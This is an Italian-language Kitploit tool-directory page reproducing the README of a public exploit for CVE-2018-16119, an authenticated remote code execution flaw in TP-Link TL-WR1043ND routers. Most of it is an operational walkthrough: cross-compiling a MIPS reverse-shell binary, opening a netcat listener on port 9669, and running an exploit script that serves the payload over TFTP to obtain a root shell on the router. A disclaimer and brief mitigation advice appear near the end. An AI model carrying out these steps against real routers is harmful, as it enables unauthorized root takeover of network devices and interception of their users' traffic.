Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2018-16119 — TP-Link TL-WR1043ND - Esecuzione remota di codice autenticata | Kitploit
Strumenti/GitHubGitHub/hdbreaker/cve-2018-16119
Sicurezza Sistemi EmbeddedSicurezza IoTExploitSfruttamento di Applicazioni WebPenetration TestingSicurezza HardwareApprendimento e FormazioneRed TeamingSviluppo Payload
GitHubhdbreaker/cve-2018-16119

CVE-2018-16119

TP-Link TL-WR1043ND - Esecuzione remota di codice autenticata

1631 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi RepositorySito web

CVE-2018-16119: Esecuzione Remota di Codice Autenticata in TP-Link WR1043ND

Panoramica

CVE-2018-16119 è una vulnerabilità critica di esecuzione remota di codice autenticata che interessa i router TP-Link TL-WR1043ND. Questa vulnerabilità consente a un attaccante autenticato di eseguire comandi arbitrari sul dispositivo target con privilegi di root, portando potenzialmente al compromesso completo del sistema.

Dettagli CVE: CVE-2018-16119

Impatto della Vulnerabilità

  • Vettore di attacco: Rete
  • Complessità dell'attacco: Bassa
  • Privilegi richiesti: Bassi (necessaria autenticazione)
  • Interazione dell'utente: Nessuna
  • Scope: Modificato
  • Impatto: Compromissione completa di riservatezza, integrità e disponibilità del dispositivo

Una volta sfruttata, un attaccante ottiene accesso alla shell di root del router, consentendogli di:

  • Modificare le configurazioni del router
  • Monitorare il traffico di rete
  • Usare il dispositivo come punto di appoggio per movimenti laterali
  • Installare backdoor persistenti
  • Interrompere la connettività di rete

Dispositivi Interessati

  • TP-Link TL-WR1043ND (multiple versioni firmware)
  • Potenzialmente altri dispositivi TP-Link che utilizzano firmware simili

Prerequisiti

Requisiti di Sistema

  • Host Linux con privilegi di root (richiesti per il server TFTP sulla porta 69)
  • Docker (per la cross-compilazione)
  • Connettività di rete verso il dispositivo target
  • Credenziali di autenticazione valide per il router target

Dipendenze

root@kitploit:~
# Installa i pacchetti richiesti
sudo apt-get update
sudo apt-get install netcat docker.io

Guida allo Sfruttamento

Passo 1: Compilare il Payload della Reverse Shell

L'exploit richiede un binario reverse shell MIPS big-endian. Segui questi passaggi per compilarlo:

root@kitploit:~
# Copia il codice sorgente in /tmp
cp exploit/tftp_server/reverse_shell_mipsbe.c /tmp/

# Usa il container Docker con gli strumenti di cross-compilazione MIPS
docker run -v /tmp/:/tmp/ -it asmimproved/qemu-mips /bin/bash

All'interno del container Docker:

root@kitploit:~
cd /tmp
mips-linux-gnu-gcc -static reverse_shell_mipsbe.c -o shh

Esci da Docker e copia il binario compilato:

root@kitploit:~
cp /tmp/shh exploit/tftp_server/

Passo 2: Configurare il Listener della Reverse Shell

Apri un terminale e avvia un listener netcat sulla porta 9669:

Linux:

root@kitploit:~
nc -l -p 9669 -vv

macOS:

root@kitploit:~
nc -l 9669 -vv

Passo 3: Eseguire l'Exploit

Esegui lo script exploit con privilegi di root (richiesti per il server TFTP):

root@kitploit:~
sudo python3 exploit/exploit.py

Lo script:

  1. Si autenticherà sul router target
  2. Avvierà un server TFTP sulla porta 69
  3. Sfrutterà la vulnerabilità per scaricare ed eseguire la reverse shell
  4. Stabilirà una connessione di ritorno verso il tuo listener

Passo 4: Interagire con la Shell

Una volta stabilita la connessione:

  • Avrai accesso root al router
  • Nessun output verboso verrà mostrato inizialmente
  • Basta iniziare a digitare comandi per interagire con la shell

Struttura del Progetto

root@kitploit:~
CVE-2018-16119/
├── exploit/
│   ├── exploit.py              # Script exploit principale
│   ├── requirements.txt        # Dipendenze Python
│   ├── notes.txt              # Note aggiuntive
│   └── tftp_server/
│       ├── reverse_shell_mipsbe.c  # Codice sorgente reverse shell
│       └── shh                     # Binario MIPS compilato
├── firmware/
│   └── wr740nv4_webrevert.bin     # Firmware di esempio
├── squashfs-root/                  # Filesystem firmware estratto
└── README.md                       # Questo file

Considerazioni sulla Sicurezza

Divulgazione Responsabile

Questa vulnerabilità è stata divulgata in modo responsabile e dovrebbe essere utilizzata solo per:

  • Test di penetrazione autorizzati
  • Ricerca sulla sicurezza in ambienti controllati
  • Scopi educativi

Avviso Legale

⚠️ ATTENZIONE: Questo exploit è fornito esclusivamente a scopo educativo e per test autorizzati. L'accesso non autorizzato a sistemi informatici è illegale e non etico. Gli utenti sono responsabili di assicurarsi di avere la dovuta autorizzazione prima di utilizzare questo strumento.

Raccomandazioni di Mitigazione

  • Aggiornare all'ultima versione del firmware
  • Cambiare le credenziali amministrative predefinite
  • Disabilitare la gestione remota se non necessaria
  • Implementare la segmentazione della rete
  • Monitorare l'attività di rete sospetta

Dipendenze

Installa i requisiti Python:

root@kitploit:~
pip3 install -r exploit/requirements.txt

Risoluzione dei Problemi

Problemi Comuni

Permesso Negato per il Server TFTP:

  • Assicurarsi che lo script venga eseguito con privilegi di root
  • Verificare che la porta 69 non sia già in uso

Connessione Fallita:

  • Verificare la connettività di rete verso il target
  • Confermare che le credenziali di autenticazione siano corrette
  • Controllare le impostazioni del firewall

Nessuna Risposta dalla Shell:

  • La shell potrebbe richiedere un momento per inizializzarsi
  • Prova a premere Invio o a digitare comandi di base come id o pwd

Ricerca e Sviluppo

Questa ricerca dimostra gravi falle di sicurezza nel firmware dei dispositivi embedded. La vulnerabilità evidenzia l'importanza di:

  • Pratiche di codifica sicura nei sistemi embedded
  • Audit di sicurezza regolari dei dispositivi IoT
  • Aggiornamenti firmware tempestivi e gestione delle patch

Riferimenti

  • Voce ufficiale CVE-2018-16119
  • Advisory di sicurezza TP-Link

Contatti e Attribuzione

Ricerca di: Alejandro Parodi
Twitter: @hdbreaker
LinkedIn: Alejandro Parodi


Questa ricerca è stata condotta a scopo educativo e per migliorare la sicurezza dei sistemi embedded. Si prega di usarla in modo responsabile.

Scarica lo strumento